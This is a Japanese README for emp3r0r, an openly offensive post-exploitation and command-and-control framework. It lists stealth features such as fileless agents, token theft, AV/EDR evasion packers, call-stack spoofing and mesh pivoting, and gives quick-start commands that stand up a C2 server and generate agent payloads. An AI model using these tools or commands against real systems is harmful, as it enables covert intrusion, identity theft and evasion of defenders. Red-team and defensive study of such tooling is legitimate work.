
emp3r0r v4.7.1
自己修復型 Gossip Mesh C2、支援付きピア発見、クロスプラットフォーム BOF 実行、スクリプト可能なエージェント
emp3r0r
自己修復型ゴシップメッシュC2(支援付きピア探索、クロスプラットフォームBOF実行、スクリプト可能なエージェントを搭載)。
emp3r0rとは?
emp3r0rは、LinuxおよびWindowsのターゲット環境向けに設計された、高度なゼロトラスト型ポストエクスプロイテーションフレームワーク兼コマンド&コントロール(C2)システムです。高セキュリティ環境での運用を目的としてゼロから構築されており、自律型ゴシップメッシュネットワーキング、ファイルレス・メモリのみでの実行、クロスプラットフォームBOFローディング、エージェント間ファイル転送、インメモリ・スクリプト可能エージェントを組み合わせることで、優れたステルス性、運用制御、運用セキュリティ(OPSEC)を実現します。
主なハイライトと独自機能
🐍 スクリプト可能エージェント(組み込みStarlarkエンジン&Win32 APIプロキシ)
emp3r0rエージェントには、組み込みのStarlarkスクリプティングエンジン(純粋にGoで実装されたPython方言)が搭載されています。スクリプトは、ターゲットにPython、Bash、PowerShellがインストールされている必要なく、メモリ内でファイルレスに実行されます。
- ホスト依存ゼロ: コマンドインタープリタ(
/bin/sh、powershell.exe)を起動したり、インストール済みランタイムに依存したりすることなく、スタンドアロンスクリプトを実行します。 - 組み込みエージェントGo API: ファイルシステム操作(
read_file、write_file、list_dir、mkdir、remove、exists)、HTTPネットワーキング(http_get、http_post)、コマンド実行(exec_cmd)、ハッシュ計算(crypto_hash)のための関数が公開されています。 - 動的Win32 APIプロキシ: Windowsターゲットでは、StarlarkスクリプトがシステムDLLを動的にロードし、ネイティブCコードをコンパイルすることなく、スクリプトコードから直接ネイティブWin32 API(
win_call、win_alloc、win_free、win_read_mem)を実行できます。 - モジュール式統合: StarlarkスクリプトはJSONマニフェスト(
config.json)を使用して定義され、CLIパラメータの解析と配布がシームレスに行えます。
これが重要な理由: 従来のC2スクリプトモジュールは、ホストのインタープリタやプロセス生成を必要とし、ディスクやコマンドライン実行の痕跡を多く残します。emp3r0rのスクリプト可能エージェントは、ネイティブシステムとの対話を伴う複雑なロジックを完全にメモリ内で実行します。
🔐 TOFU暗号化アイデンティティピンニング
emp3r0rは、エージェント登録時に厳格なUUIDと公開鍵のピンニングを伴う**Trust-On-First-Use(TOFU)**を強制します。
- 不変のバインディング: 一度登録されると、エージェントのUUIDはその暗号化公開鍵に固定されます。資格情報を変更しての再登録は、なりすまし試行として拒否されます。
- 制御されたリセット: 登録解除には、
forget_agentによるオペレーターの明示的な承認が必要です。
これが重要な理由: セッションハイジャック、エージェントのクローン作成、運用環境全体でのサイレントなアイデンティティドリフトを防止します。
🔒完全前方秘匿性(PFS)
すべてのC2およびピア通信は、HKDFから導出されたセッションキーによるECDH鍵交換を強制します。
- 一時鍵: 各セッションで固有の暗号化キーが生成されます。
- 分離されたセキュリティ: 長期鍵や個々のエージェントが侵害されても、過去または並行する通信を侵害することはできません。
これが重要な理由: 傍受されたネットワークキャプチャの事後的な解読を防止します。
🕸️ 自律型P2Pゴシップメッシュネットワーク
出口制限のある、または分離されたネットワークセグメント内のエージェントは、自律的にピアを発見し、ゴシップベース(Memberlist)メッシュネットワークを介してトラフィックをトンネリングします。
- プラグ可能なピアトランスポート: カモフラージュmTLS 1.3(一時証明書を使用)およびKCP(信頼性の高いUDP)をサポート。
- エンドツーエンド暗号化: すべてのエージェント間メッシュホップはAES-GCM暗号化でラップされます。
- 低ネットワークフットプリント: エージェント間の直接リレーにより、不要なブロードキャストノイズと集中型C2接続のボトルネックが排除されます。
これが重要な理由: セグメント化されたネットワーク間のピボットが、オペレーターの継続的な介入や静的プロキシ設定を必要とせずに自律的に行われます。
📂 P2Pファイルシステム
P2Pリレートランスポート(mTLS/KCP)を介したエージェント間の直接ファイル共有により、内部ネットワーク全体でのファイル配信を高速化します。
- 暗号化P2Pトンネル: mTLS/KCPを使用してピア間で転送をトンネリングし、出口制限を回避して中央C2帯域幅のボトルネックを削減します。
- スマート・インメモリファイルキャッシュ: ファイルは暗号化されたブロブとしてエージェントメモリにキャッシュされ、他のエージェントがオンデマンドでダウンロードできるようにシームレスに提供されます。ファイルを要求する際、エージェントはまずローカルのmemfsを確認し、次に他のピア、最後にC2を確認します。
- 自動C2リレーフォールバック: ターゲットピアが要求されたファイルを持っていない場合、C2サーバーから動的にフェッチしてオンデマンドでストリーミングします。
これが重要な理由: エージェント間の直接ファイル共有により、転送速度が最大化され、ネットワークのボトルネックが回避され、直接的なC2トラフィックの可視性が低減されます。
📡 マルチプロトコルリスナー&プラグ可能ステージャー
初期アクセスとペイロード配信のための柔軟なStage 0ダウンローダーステージャーとプロトコルリスナー。
- マルチプロトコルリスナー: 信頼性の高いシーケンス確認応答フレーミングとカスタムHTTPプロファイルを備えた、組み込みおよびスタンドアロンのHTTP、TCP、UDPリスナー。スタンドアロンリスナーはオプションのTLS(
-tls)をサポートし、証明書/鍵ペアが提供されない場合は自己署名証明書を自動生成します。 - スタンドアロンCダウンローダーステージャー: libcに依存しないLinuxシステムコールで直接構築されており、シンボルエラーなしで様々なディストリビューションと互換性があります。
- 暗号化ステージ配信: リスナーは、オペレーターが提供するシークレットから導出されたキーを使用してステージングされたペイロードをRC4で暗号化します。ステージャーは、リフレクティブローディングの前にメモリ内で復号化します。
- プラグ可能ステージャートランスポート: オペレーターがカスタムCトランスポートモジュール(
transport_<name>.c)をドロップインできるモジュール式トランスポートシステム。組み込みのスタンドアロンオプションには、生のシステムコールによるHTTP、TCP、UDP、および動的ライブラリトランスポート(例:ランタイムシンボル解決によるlibcurl)が含まれます。- 利点: コアステージャーロジックを変更することなく、ネイティブ
libcurlやカスタムプロトコル実装などの正当なシステムチャネルにトラフィックをシームレスに混在させることで、出口フィルタリングとネットワーク検出を回避します。
- 利点: コアステージャーロジックを変更することなく、ネイティブ
- プラグ可能自己展開パッカー: 拡張可能なスタブおよびパッカーモジュールインターフェース(
pack_<name>.py+unpack_stub_<name>.c)。オペレーターはカスタムパッキング/難読化アルゴリズム(組み込みオプションにはRC4ストリーム暗号化と貪欲LZSS圧縮が含まれます)を作成でき、ランタイムヘッダーパッチが自動的に適用されます。- 利点: Stage 0ペイロードを独自のキーまたはアルゴリズムで暗号化/圧縮し、読み取り/書き込みメモリに自己展開してから実行前に読み取り/実行に切り替えることで、静的AV/EDR YARAルールとシグネチャマッチングを破ります。
- 小さなペイロードサイズ: emp3r0rエージェントバイナリは圧縮なしで約20MBですが、このステージャーは2KBです。emp3r0rリスナーからフェッチするsRDIライクなペイロードは、約8MB(ELF共有オブジェクト形式のエージェントバイナリから圧縮)です。
- 柔軟なフォーマット: 生の位置独立シェルコード(
.bin)、自己展開パックシェルコード(packed)、スタンドアロンELF実行ファイル、または共有オブジェクト(.so)にコンパイルされます。 - インメモリ強化: ステージメモリを読み取り/書き込みで割り当て、ペイロードの難読化を解除してから、リフレクティブローディングの前に読み取り/実行を強制します。自己展開プログラムはRWX(読み取り/書き込み→展開→読み取り/実行)をマッピングせず、可変ステージャー状態は書き込み可能なコードではなく専用の読み取り/書き込みページに存在します。
🧩 ネイティブクロスプラットフォームBOF&PICOサポート(COFF、ELF&PICO)
WindowsとLinuxの両方のターゲットでインメモリバイナリモジュールを実行します:
- Windows COFFローダー: 型付きパラメータパッキング(
int、short、cstr、wstr、binary)を使用して、Windows BOFバイナリをファイルレスで実行します。 - Linux ELFオブジェクトローダー: Linux上でELF再配置可能オブジェクトファイル(
.o)をエージェントメモリに直接ロードします。 - Crystal-Kit PICOモジュール&スタックスプーフィング: 高度な回避のためのSilentMoonwalkコールスタック非同期スプーファーを備えた、統合PICO(Position-Independent Code Object)ローダーとパッカー。
- バンドルBOFスイート: Kerbeus-BOF、Remote-OPs、Situational Awareness(SA)モジュールコレクションの組み込みサポート。
これが重要な理由: コンパイル済みCモジュールをコールスタックスプーフィング付きでプロセス内実行することで、プロセス生成のオーバーヘッドを排除し、コマンドラインとコールスタックの監視を回避します。
🔑 オンデマンドWindowsトークン操作
Windows上のエージェントは、実行中のプロセスからアクセストークンを盗み、キャッシュし、偽装できます。すべて間接NTシステムコールを使用してプロセス内で完全に実行されます。
- 盗取&キャッシュ:
steal_token --pid <PID>は、NtOpenProcess+NtDuplicateTokenを介してプロセストークンを複製し、SIDごとにメモリに保存します。オプションで--token <sid>で偽装を連鎖させ、盗んだアイデンティティから別のアイデンティティへ昇格できます。 - 列挙:
list_tokensは、DOMAIN\User (SID)形式の名前でキャッシュされたすべてのトークンを表示します。 - ユニバーサル偽装: 任意のモジュール(Go、Starlark、COFF/BOF)で、SID(
--token <sid>)でキャッシュされたトークンを参照できます。機密操作の周囲にはスレッドレベルの偽装(NtSetInformationThread)が適用されます。 - トークン対応Starlark: 組み込み関数(
read_file、write_file、exec_cmd、Win32 APIプロキシなど)は、トークンが設定されている場合、システムコールごとに自動的に偽装し、exec_cmdはCreateProcessWithTokenWを介して盗んだアイデンティティで子プロセスを生成できます。
これが重要な理由: 外部ツール、ディスクアーティファクト、プロセス生成ノイズがありません。トークンの盗取と再利用は、間接システムコールを使用して完全にプロセス内で行われ、盗んだトークンはすべての組み込みモジュールですぐに利用できます。
🎭 プラグ可能C2トランスポート、uTLS JA3回避&CBORプロトコル
- プラグ可能C2モード: 可変HTTPプロファイルを備えた柔軟なビーコン方式(
http_poll)と、HTTP/2上のストリーミング方式(h2conn)。 - JA3シグネチャランダム化: uTLSを使用してTLS Client Helloフィンガープリントをランダム化し、静的ネットワークシグネチャを無効化します。
- バイナリワイヤプロトコル: すべての制御データとワイヤシリアライゼーションにCBOR(Concise Binary Object Representation)を使用し、JSONと比較してネットワークペイロードサイズを30〜40%削減します。
💾 暗号化メモリファーストストレージ
- インメモリ暗号化仮想ファイルシステム: すべてのエージェントファイル操作は、インメモリAES-GCM仮想ファイルシステムを使用します。大きなデータは、識別可能なヘッダーや拡張子なしで暗号化ディスクストレージに自動的にスピルオーバーします。
- P2P対応スマートキャッシング: P2P対応の各エージェントは、C2からフェッチしたファイルをmemfsにキャッシュし、他のピアが利用できるようにすることで、高速なエージェント間接続を活用しながらC2トラフィックのフットプリントを最小限に抑えます。
クイックスタート
1. C2サーバーインストール
emp3r0rのビルドには、ホストにDockerまたはPodmanが必要です。ローカルのGoツールチェーンは不要です。
# リポジトリのクローン
git clone --depth=1 https://github.com/jm33-m0/emp3r0r.git && cd emp3r0r
# コンテナ内でビルドし、ローカルにインストール
./install.py
インストーラーは、使い捨てコンテナ内でコアバイナリをコンパイルし、プリコンパイル済みの emp3r0r-operator-kit.tar.zst を生成し、必要なLinuxケーパビリティ(setcap)を設定し、システムランタイムディレクトリをセットアップします。
オプション:
./install.py [--debug] [--disable-garble] [--prefix /usr/local] [--skip-build] \
[--lightweight] [--targets linux/amd64,windows/amd64]
--lightweight を使用すると、linux/amd64 と windows/amd64 のexe/dllターゲットのみをビルドします(最速、x86-64のみのデプロイメント向け)。または、--targets OS/ARCH,... を使用して、特定のペイロードタイプのセットをコンパイルします。
C2サーバーを起動します:
emp3r0r server --c2-hosts 1.2.3.4 --http-port 12345 --operator-port 13377
注:標準の sudo ではなく root ユーザーでインストールした場合、インストーラーが権限を適切に設定できないため、現在のユーザーがemp3r0rを起動できない可能性があります。これはオペレーターマシンにも同様に適用されます。
2. オペレーターマシンのセットアップ
生成された emp3r0r-operator-kit.tar.zst をオペレーターマシンに転送し、インストーラーを実行します:
tar --zstd -xpf emp3r0r-operator-kit.tar.zst
cd ./emp3r0r-operator-kit && ./install.py
サーバーが出力したWireGuardトンネル資格情報を使用して、オペレータークライアントをC2サーバーに接続します:
emp3r0r client --c2-port 13377 \
--server-wg-key '<SERVER_WG_KEY>' \
--server-wg-ip '<SERVER_WG_IP>' \
--operator-wg-ip '<OPERATOR_WG_IP>' \
--operator-wg-key '<OPERATOR_WG_KEY>' \
--c2-host 1.2.3.4
3. エージェントペイロードの生成
emp3r0rオペレーターインターフェース内の generate コマンドを使用してペイロードを作成します。
直接C2エージェント:
generate --type linux_executable --arch amd64 --cc your.domain.com
メッシュゲートウェイエージェント:
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --direct-c2 --p2p-transport mtls
メッシュ中間ピア:
generate --type linux_executable --arch amd64 --cc your.domain.com \
--p2p --p2p-transport mtls --peers 1.2.3.4
ドキュメントとリソース
- 📝 セキュリティポリシー: SECURITY.md
- 📜 変更履歴: CHANGELOG.md
- 🛠️ モジュール開発ガイド: core/modules/module_development_guide.md
開発支援
emp3r0rがセキュリティ研究とテストにおいて価値があるとお考えの場合は、GitHub Sponsors を通じて継続的な開発を支援することをご検討ください。